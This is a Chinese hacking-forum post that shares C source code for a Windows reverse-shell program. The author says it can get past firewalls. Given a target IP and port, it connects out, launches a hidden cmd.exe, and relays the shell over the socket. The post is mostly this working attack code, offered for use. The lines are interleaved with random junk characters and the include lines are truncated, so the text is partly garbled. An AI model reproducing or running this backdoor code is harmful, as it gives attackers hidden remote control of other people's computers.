社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4476阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R`Aj|C z  
XB hb`AG  
/* ============================== k?BJdg)xJ  
Rebound port in Windows NT gsar[gZ  
By wind,2006/7 $$i. O}  
===============================*/ u/b7Z`yX}  
#include V=I"-k}RL  
#include Ph&urxH@  
5\mTr)\R  
#pragma comment(lib,"wsock32.lib") eC DIwB28  
%sh>;^58P  
void OutputShell(); )|j[uh6w o  
SOCKET sClient; r90+,aLM#?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5/",<1  
p]D]: Z}P  
void main(int argc,char **argv) >t,M  
{ ivO/;)=t  
WSADATA stWsaData; |s7`F%  
int nRet; { kSf{>Ia  
SOCKADDR_IN stSaiClient,stSaiServer; 8rZ!ia!  
B@Co'DV[/]  
if(argc != 3) ubsSa}$q  
{ %z]U LEYrZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); aIy*pmpD=  
return; iq#b#PYA  
} %A1@&xrbl  
# M, 7  
WSAStartup(MAKEWORD(2,2),&stWsaData); +'@+x'/{^  
wCs^J48=  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yfQ5:X  
:nHKl  
stSaiClient.sin_family = AF_INET; }K1 0Po'  
stSaiClient.sin_port = htons(0); KT|RF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $yDWu"R8  
a ?} .Fs  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oeSN9O  
{ 5la>a}+!!h  
printf("Bind Socket Failed!\n"); _CBWb  
return; rVvR!"//yH  
} 1sE?YJP-  
4EI7W,y  
stSaiServer.sin_family = AF_INET; 'crlA~&#/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vE6mOM!_L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7 J^rv9i4  
OV2 -8ERS  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .Ig+Dj{)  
{ 3uU]kD^  
printf("Connect Error!"); T J^u"j-'  
return; fy@avo9  
} spU)]4P&  
OutputShell(); ^m#-9-`  
} k$ 5 s{q  
2Y}?P+:%>  
void OutputShell() 65 z"  
{ nMDxH $O  
char szBuff[1024]; gK#mPcn^  
SECURITY_ATTRIBUTES stSecurityAttributes; ~vLW.:  
OSVERSIONINFO stOsversionInfo; M)*\a/6?{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HS'Vi9  
STARTUPINFO stStartupInfo; 5vo.[^ty  
char *szShell; ~/NKw:  
PROCESS_INFORMATION stProcessInformation; d\e7,"L*Q  
unsigned long lBytesRead; G 6VF>2  
R [H+qr  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j R=s#Xz  
T|&[7%F3"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =_j vk.  
stSecurityAttributes.lpSecurityDescriptor = 0; MT(o"ltQ  
stSecurityAttributes.bInheritHandle = TRUE; %1pYE Hn  
86@c't@  
fQrhsuCrC  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~HQ9i%exg  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *5bLe'^\|K  
' |-JWH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); L lqM c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XC{eX&,2x  
stStartupInfo.wShowWindow = SW_HIDE; Gm*X'[\DD  
stStartupInfo.hStdInput = hReadPipe; 9nu3+.&P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; XdH\OJ  
s  {^yj  
GetVersionEx(&stOsversionInfo); kyR*D1N&)  
hdTzCfeZ5@  
switch(stOsversionInfo.dwPlatformId) B|o2K}%f  
{ rD>*j~_+P  
case 1: !w BJ,&E  
szShell = "command.com"; F~ Lx|)0M  
break; (EPsTox  
default: fs/*V~@  
szShell = "cmd.exe"; j }b\Z9)!  
break; QMv@:Eo  
} `y#UJYXQE  
3D?s L!W  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %s19KGpA  
x8GJY~:SW  
send(sClient,szMsg,77,0); -OSa>-bzNx  
while(1) fdONP>K[E  
{ Dk48@`l2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .`?@%{  
if(lBytesRead) \.M*lqI  
{ TLehdZ>^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bLt.O(T}  
send(sClient,szBuff,lBytesRead,0); boG_f@dv(  
} 1+?N#Fh  
else "RIZV  
{ fNGZo  
lBytesRead=recv(sClient,szBuff,1024,0); HR}bbsqxVf  
if(lBytesRead<=0) break; #c^^=Z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +iOKbc'  
} D7_*k%;@  
} VK@!lJ u!  
CdL< *AH  
return; 0527Wj  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八